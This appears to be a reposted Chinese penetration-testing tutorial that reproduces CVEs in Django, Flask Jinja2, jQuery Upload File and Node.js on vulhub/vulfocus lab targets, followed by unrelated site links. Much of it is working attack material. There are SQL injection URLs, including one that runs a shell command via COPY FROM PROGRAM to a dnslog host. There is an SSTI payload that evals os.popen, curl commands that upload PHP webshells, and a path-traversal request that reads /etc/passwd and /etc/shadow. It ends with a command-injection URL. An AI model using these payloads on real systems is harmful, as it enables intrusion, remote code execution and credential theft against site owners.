框架安全-CVE 漏洞复现DjangoFlaskNode.jsJQuery框架漏洞复现

目录

  • 服务攻防-框架安全&CVE复现&Django&Flask&Node.JS&JQuery漏洞复现
    • 中间件列表介绍
    • 常见语言开发框架
    • Python开发框架安全-Django&Flask漏洞复现
      • Django开发框架
      • 漏洞复现
        • CVE-2019-14234(Django JSONField/HStoreField SQL注入漏洞)
        • CVE-2021-35042(Django QuerySet.order_by SQL注入漏洞)
      • Flask Jinja2 SSTI
      • 漏洞复现
        • Flask(Jinja2) 服务端模板注入漏洞
    • JavaScript开发框架安全-Jquery&Node漏洞复现
      • jQuery框架
      • 漏洞复现
        • CVE_2018_9207-jQuery Upload File漏洞复现
      • Node.js
      • 漏洞复现
        • Node.js 目录穿越漏洞(CVE-2017-14849)
        • Node.js 命令执行 (CVE-2021-21315)

服务攻防-框架安全&CVE复现&Django&Flask&Node.JS&JQuery漏洞复现

中间件列表介绍

中间件及框架列表:

IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等

1、开发框架-PHP-Laravel-Thinkphp

2、开发框架-Javaweb-St2-Spring

3、开发框架-Python-django-Flask

4、开发框架-Javascript-Node.js-JQuery

5、其他框架-Java-Apache Shiro&Apache Sorl

常见语言开发框架

PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend 等

JAVA:Spring MyBatis Hibernate Struts2 Springboot 等

Python:Django Flask Bottle Turbobars Tornado Web2py 等

Javascript:Vue.js Node.js Bootstrap JQuery Angular 等

常见中间件的安全测试:

1、配置不当-解析&弱口令

2、安全机制-特定安全漏洞

3、安全机制-弱口令爆破攻击

4、安全应用-框架特定安全漏洞

中间件安全测试流程:

1、判断中间件信息-名称&版本&三方

2、判断中间件问题-配置不当&公开漏洞

3、判断中间件利用-弱口令&EXP&框架漏洞

应用服务安全测试流程:

1、判断服务开放情况-端口扫描&组合应用等

2、判断服务类型归属-数据库&文件传输&通讯等

3、判断服务利用方式-特定漏洞&未授权&弱口令等

开发框架组件安全测试流程:

1、判断常见语言开发框架类型

2、判断开发框架存在的 CVE 问题

Python开发框架安全-Django&Flask漏洞复现

Django开发框架

介绍:django(Python Web 框架)详解

Django是一个高级的Python Web框架,可以快速开发安全和可维护的网站。由经验丰富的开发者构建,Django负责处理网站开发中麻烦的部分,可以专注于编写应用程序,而无需重新开发。它是免费和开源的,有活跃繁荣的社区,丰富的文档,以及很多免费和付费的解决方案。

Django 是一款广为流行的开源 web 框架,由 Python 编写,许多网站和 app 都基于
Django 开发。Django 采用了 MTV 的框架模式,即模型 M,视图 V 和模版 T,使用
Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且
Django 还包含许多功能强大的第三方插件,使得 Django 具有较强的可扩展性。

安全问题:

CVE_2019_14234

CVE-2021-35042

漏洞复现

CVE-2019-14234(Django JSONField/HStoreField SQL注入漏洞)

该漏洞要求开发者使用 JSONField/HStoreField;此外,还可以控制 QuerySet 的字段名称。Django 的内置应用程序 Django-Admin 受到影响,这为我们提供了一种重现漏洞的简单方法。

靶场:vulhub

参考:Django JSONField/HStoreField SQL注入漏洞复现

image-20231029172240612

开启环境:

image-20231029172437823

访问web界面:

image-20231029172549248

首先,使用用户名和密码登录 Django-Admin。

http://your-ip:8000/admin/

账号:admin 密码:a123123123

成功登录:

image-20231029172835555

然后转到模型的列表视图:

http://your-ip:8000/admin/vuln/collection/

Collection

image-20231029173347585

添加到 GET 参数中,其中是 JSONField:

detail__a'b=123 detail

payload:

http://your-ip:8000/admin/vuln/collection/?detail__a%27b=123

可以看到单引号注入成功,SQL语句报错:

image-20231029173547506

创建 cmd_exec:

payload:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%
20%3bcreate%20table%20cmd_exec(cmd_output%20text)--%20

执行效果:

成功创建

image-20231029173642878

调用 cmd_exec 执行命令:

DNSlog获取地址

payload:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%
20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20xxxx.dnslog.cn%27--%20

image-20231029174041806

DNSlog回显效果:

image-20231029174025586

CVE-2021-35042(Django QuerySet.order_by SQL注入漏洞)

该漏洞需要开发人员使用order_by功能。此外,还可以控制查询集的输入。

靶场:vulhub

参考:Django QuerySet.order_by SQL注入漏洞复现

image-20231029174553987

开启环境:

image-20231029175205490

访问web界面:

image-20231029175521855

首先,转到列表视图并添加到 GET 参数。

payload:

http://your-ip:8000/vuln/order=-id

执行过后会看到按 id 降序排序的数据:

image-20231029175503012

payload:
目录:
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20@@basedir)),1)%23版本:
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20version())),1)%23数据库名:
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20database())),1)%23

可以看到单括号已经注入成功,可以从错误中获取信息。

查看目录:

image-20231029175617387

爆版本号:

image-20231029175653357

爆数据库名:

image-20231029175735226

Flask Jinja2 SSTI

介绍:Flask详解

Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用
Werkzeug ,模板引擎则使用 Jinja2。Flask使用 BSD 授权。

Flask也被称为 “microframework” ,因为它使用简单的核心,用 extension 增加其他功能。Flask没有默认使用的数据库、窗体验证工具。

安全问题:

Flask(Jinja2) 服务端模板注入漏洞

漏洞复现

Flask(Jinja2) 服务端模板注入漏洞

靶场:vulhub

参考:Flask(Jinja2) 服务端模板注入漏洞复现

image-20231029180646523

开启环境:

image-20231029180816652

访问web界面:

image-20231029180838789

接下来进行访问,http://your-ip/?name={{123*123}},得到15129这个结果,则说明SSTI漏洞存在。

image-20231029181008341

获取eval函数并执行任意python代码的POC:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}

ps:需要进行url编码,编码过后直接通过GET请求,发送即可。

image-20231029181552579

执行命令处,自定义像要执行的命令,查看的信息,每次更换命令都需要进行URL编码重新发送。

image-20231029181214232

其他命令:ls,whoami

执行效果:

image-20231029181451946

image-20231029181527216

JavaScript开发框架安全-Jquery&Node漏洞复现

jQuery框架

介绍:jQuery详解

jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(框架)于2006年1月由John Resig发布。jQuery设计的宗旨是“write Less,Do More”,即倡导写更少的代码,做更多的事情。它封装JavaScript常用的功能代码,提供一种简便的JavaScript设计模式,优化HTML文档操作、事件处理、动画设计和Ajax交互。

安全问题:

CVE_2018_9207

CVE_2018_9208

CVE_2018_9209

漏洞复现

CVE_2018_9207-jQuery Upload File漏洞复现

jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(框架)于2006年1月由John Resig发布。 jQuery Upload File <= 4.0.2 中的任意文件上传 根目录下/jquery-upload-file

靶场:vulfocus

开启靶场:

image-20231029214847162

访问web界面:

image-20231029214903143

访问框架引用目录结构:

/jquery-upload-file/

image-20231029214930061

利用:

一条命令即可解决,访问并上传文件。

payload:
//访问网站,进行上传;前提是在文件夹下创建后门文件。
curl -F "myfile=@shell.php" "http://192.168.100.134:37180/jquery-upload-file/php/upload.php"curl -F "myfile=@cmd.php" "http://192.168.100.134:37180/jquery-upload-file/php/upload.php"

上传shell.php:

image-20231029215115640

上传cmd.php:

image-20231029215508572

查看:

上传文件所在位置:(后门为php)

/jquery-upload-file/php/uploads/

image-20231029215132838

image-20231029215532519

验证,可否解析执行:

image-20231029215146073

使用蚁剑连接:

连接成功

image-20231029215237733

其他列出的安全问题,基本都差不多。

Node.js

详解:node.js详解

Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境,用于方便的搭建响应
速度快、易于拓展的网络应用。

Node.js对一些特殊用例进行优化,提供替代的API,使得V8在非浏览器环境下运行得更好,V8引擎执行Javascript的速度非常快,性能非常好,基于Chrome JavaScript运行时建立的平台, 用于方便地搭建响应速度快、易于扩展的网络应用

安全问题:

CVE_2021_21315

CVE_2017_14849

漏洞复现

Node.js 目录穿越漏洞(CVE-2017-14849)

Joyent Node.js是美国Joyent公司的一套建立在Google V8 JavaScript引擎之上的网络应用平台。该平台主要用于构建高度可伸缩的应用程序,以及编写能够处理数万条且同时连接到一个物理机的连接代码。 Joyent Node.js 8.6.0之前的8.5.0版本中存在安全漏洞。远程攻击者可利用该漏洞访问敏感文件。

漏洞原因是 Node.js 8.5.0 对目录进行normalize操作时出现了逻辑错误,导致向上层跳跃的时候(如../../../../../../etc/passwd),在中间位置增加foo/../(如../../../foo/../../../../etc/passwd),即可使normalize返回/etc/passwd,但实际上正确结果应该是../../../../../../etc/passwd

express这类web框架,通常会提供了静态文件服务器的功能,这些功能依赖于normalize函数。比如,express在判断path是否超出静态目录范围时,就用到了normalize函数,上述BUG导致normalize函数返回错误结果导致绕过了检查,造成任意文件读取漏洞。

靶场:vulfocus

参考:CVE-2017-14849复现

开启环境:

image-20231029220842271

访问web界面:

image-20231029220949792

其中引用到了文件/static/main.js,说明其存在静态文件服务器。

image-20231029222139768

构造请求:

通过GET请求发送以下数据包即可:
GET:
...
/static/../../../a/../../../../etc/passwd
...

完整数据包:

GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: 192.168.100.134:56111
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

发送给重发器,然后再发送数据包过后:

(如果打开web界面抓包时,构造请求后,发包无法正常回显,状态码报错。可尝试删除cookie等相关信息,不然可能会无法正常回显,错误状态码。如果正常回显,就可以不用删除。)

image-20231029221917617

效果:成功读取/etc/passwd文件

image-20231029221456694

效果:成功读取/etc/shadow文件

image-20231029221517759

Node.js 命令执行 (CVE-2021-21315)

Node.js-systeminformation是用于获取各种系统信息的Node.JS模块,它包含多种轻量级功能,可以检索详细的硬件和系统相关信息 npm团队发布安全公告,Node.js库中的systeminformation软件包中存在一个命令注入漏洞(CVE-2021-21315),其CVSSv3评分为7.8。攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令。

靶场:vulfocus

开启环境:

image-20231029222901495

访问web界面:

image-20231029222827237

构造GET请求:

payload:
/api/getServices?name[]=$(echo%20%27rumilc666%27%20>%20rumi.txt)

执行过后:

image-20231029224746956

验证:

成功生成该文件

docker ps
docker exec -it id /bin/bash

image-20231029224713536

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/176304.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

实用篇-Linux

一、Linux介绍 linux特点 免费开源多用户多任务 Linux系统版本分为内核版和发行版 发行版是基于内核版进行扩展&#xff0c;由各个Linux厂商开发和维护&#xff0c;因为我们真正使用linux最终安装的其实是linux的发行版 下面以CentOS为例来学习Linux 二、Linux安装 安装方式…

编写Groovy Hello World 程序

使用 IntelliJ IDEA 打开 IntelliJ IDEA&#xff0c;并创建一个新的 Groovy 项目。 在项目中创建一个新的 Groovy 类文件&#xff0c;命名为 HelloWorld.groovy。 在 HelloWorld.groovy 文件中&#xff0c;编写以下代码&#xff1a; class HelloWorld {static void main(Stri…

NLP实践——中文指代消解方案

NLP实践——中文指代消解方案 1. 参考项目2. 数据2.1 生成conll格式2.2 生成jsonline格式 3. 训练3.1 实例化模型3.2 读取数据3.3 评估方法3.4 训练方法 4. 推理5. 总结 1. 参考项目 关于指代消解任务&#xff0c;有很多开源的项目和工具可以借鉴&#xff0c;比如spacy的基础模…

万字解析设计模式之工厂方法模式与简单工厂模式

一、概述 1.1简介 在java中&#xff0c;万物皆对象&#xff0c;这些对象都需要创建&#xff0c;如果创建的时候直接new该对象&#xff0c;就会对该对象耦合严重&#xff0c;假如我们要更换对象&#xff0c;所有new对象的地方都需要修改一遍&#xff0c;这显然违背了软件设计的…

同步盘简介及功能解析:了解同步盘是什么及其实用性

数字化时代&#xff0c;办公中用户对于文件协同的需求越来越高。同步盘无疑是近几年最热门的文件协同工具。什么是同步盘&#xff1f;同步盘有什么用&#xff1f; 什么是同步盘&#xff1f; 同步盘是一种可以将文件存储至云端&#xff0c;然后同步至用户的各个设备的文件存储协…

MySQL创建数据库和创建数据表

二、创建数据库 1. 连接 MySQL 输入 mysql -u root -p 命令&#xff0c;回车&#xff0c;然后输入 MySQL 的密码(不要忘记了密码)&#xff0c;再回车&#xff0c;就连接上 MySQL 了。 mysql -u root -p 最初&#xff0c;都是使用 root 用户登录&#xff0c;工作中如果一直用…

【spring boot】

作用 极大地简化了spring的搭建和开发 开发方法 idea开发springboot 必须联网 结构 parent&#xff1a;装多次使用的依赖&#xff0c;还能管理版本 starter&#xff1a;SpringBoot中常见项目名称&#xff0c;定义了当前项目使用的所有依赖坐标&#xff0c;以达到减少依赖…

Azure - 机器学习:使用 Apache Spark 进行交互式数据整理

目录 本文内容先决条件使用 Apache Spark 进行交互式数据整理Azure 机器学习笔记本中的无服务器 Spark 计算从 Azure Data Lake Storage (ADLS) Gen 2 导入和整理数据从 Azure Blob 存储导入和处理数据从 Azure 机器学习数据存储导入和整理数据 关注TechLead&#xff0c;分享AI…

数据结构与算法-(7)---栈的应用拓展-前缀表达式转换+求值

&#x1f308;write in front&#x1f308; &#x1f9f8;大家好&#xff0c;我是Aileen&#x1f9f8;.希望你看完之后&#xff0c;能对你有所帮助&#xff0c;不足请指正&#xff01;共同学习交流. &#x1f194;本文由Aileen_0v0&#x1f9f8; 原创 CSDN首发&#x1f412; 如…

带IV的分组加密下密文分散存储且存在混淆密文片段的多项式时间解密方案

在使用带IV的分组加密模式下&#xff0c;考虑这样一个场景&#xff1a;分组加密后&#xff0c;每组密文都被分散保存&#xff0c;且在恢复的时候&#xff0c;每组密文会和n个混淆的密文一起提供&#xff0c;此时&#xff0c;若想完整的恢复明文&#xff0c;需要一个多项式时间的…

UDP 协议

UDP协议特点&#xff1a; 无连接&#xff1a;只需要知道对方的IP和端口就可以向对方发送数据。 不可靠&#xff1a;没有确认应答机制&#xff0c;没有重传机制。 面向数据报&#xff1a;每调用一次sendto() &#xff0c;就直接将这些数据交给网络层了&#xff0c;不能控制数据读…

双十一限时优惠!沃通SSL证书、代码签名证书年度好价

2023年11月01日至11月11日&#xff0c;沃通2023“双十一限时特惠”活动&#xff0c;精选9款SSL证书、国密SSL证书、代码签名证书产品推出年度好价&#xff0c;部分SSL证书产品低至5折&#xff0c;更有EV代码签名证书爆款特惠&#xff01;多种数字证书一站式采购&#xff0c;解决…

改进YOLOv3!IA-YOLO:恶劣天气下的目标检测

恶劣天气条件下从低质量图像中定位目标还是极具挑战性的任务。现有的方法要么难以平衡图像增强和目标检测任务&#xff0c;要么往往忽略有利于检测的潜在信息。本文提出了一种新的图像自适应YOLO (IA-YOLO)框架&#xff0c;可以对每张图像进行自适应增强&#xff0c;以提高检测…

电源控制系统架构(PCSA)之电源管理软件

下图显示了电源管理软件栈的简化表示。该图说明了OS电源管理框架、具有直接从SCP请求操作功能的组件以及它们与SCP固件之间的关系。 一个重要的方面是&#xff0c;所有硬件电源管理操作都是由SCP代表这些请求者执行的。 这种OS电源管理(OSPM)的简化表示可以分为两部分&#xff…

MySQL -- 表的增删查改

MySQL – 表的增删查改 文章目录 MySQL -- 表的增删查改一、Create创建1.插入数据2.插入否则更新3.替换 二、Retrieve查找1.select列1.1.全列查询1.2.指定列查询1.3.查询字段为表达式1.4.为查询结果指定别名1.5.结果去重 2.where条件2.1.英语不及格的同学&#xff08;英语<6…

数字孪生三剑客!云渲染及虚拟仿真服务器产品MapGIS Server for Unreal来了

10月18日&#xff0c;新一代全空间智能GIS平台的升级之作——MapGIS 10.6 Pro在深圳正式发布&#xff0c;整场发布会全空间GIS、智能GIS、信创GIS、全栈开发各维度创新一一揭晓&#xff0c;全空间一体化、深度融合云端的全系产品全面升级&#xff0c;科技盛宴、高潮迭起。其中尤…

STM智能小车——OLED实现测速小车

目录 1. 测速模块 2. 测试原理和单位换算 3. 定时器和中断实现测速开发和调试代码 4. 小车速度显示在OLED屏 1. 测速模块 用途&#xff1a;广泛用于电机转速检测&#xff0c;脉冲计数,位置限位等。有遮挡&#xff0c;输出高电平&#xff1b;无遮挡&#xff0c;输出低电平接线…

Ubuntu20.04操作系统安装及重中之重:系统分区

最近因为学习原因&#xff0c;需要将电脑设置为双系统&#xff0c;在windows10的系统下去安装Ubuntu操作系统。本来看网上相关的安装教程蛮多的&#xff0c;以为比较简单&#xff0c;结果一路过五关斩六将&#xff0c;坑的七零八落的&#xff0c;折腾了好久&#xff0c;才算安装…

知识图谱实战应用30-知识图谱在反欺诈情报分析项目中的应用实践

大家好,我是微学AI,今天给大家介绍一下知识图谱实战应用30-知识图谱在反欺诈情报分析项目中的应用实践,现代商业环境中,各类欺诈行为日益猖獗,严重影响企业的运营和社会秩序。传统的欺诈检测方法难以满足实时性和有效性方面的要求。本文介绍了采用知识图谱技术构建反欺诈情报…

Go学习第十五章——Gin参数绑定bind与验证器

Go web框架——Gin&#xff08;参数绑定bind与验证器&#xff09; 1 bind参数绑定1.1 JSON参数1.2 Query参数1.3 Uri绑定动态参数1.4 ShouldBind自动绑定 2 验证器2.1 常用验证器2.2 gin内置验证器2.3 自定义验证的错误信息2.4 自定义验证器 1 bind参数绑定 在Gin框架中&#…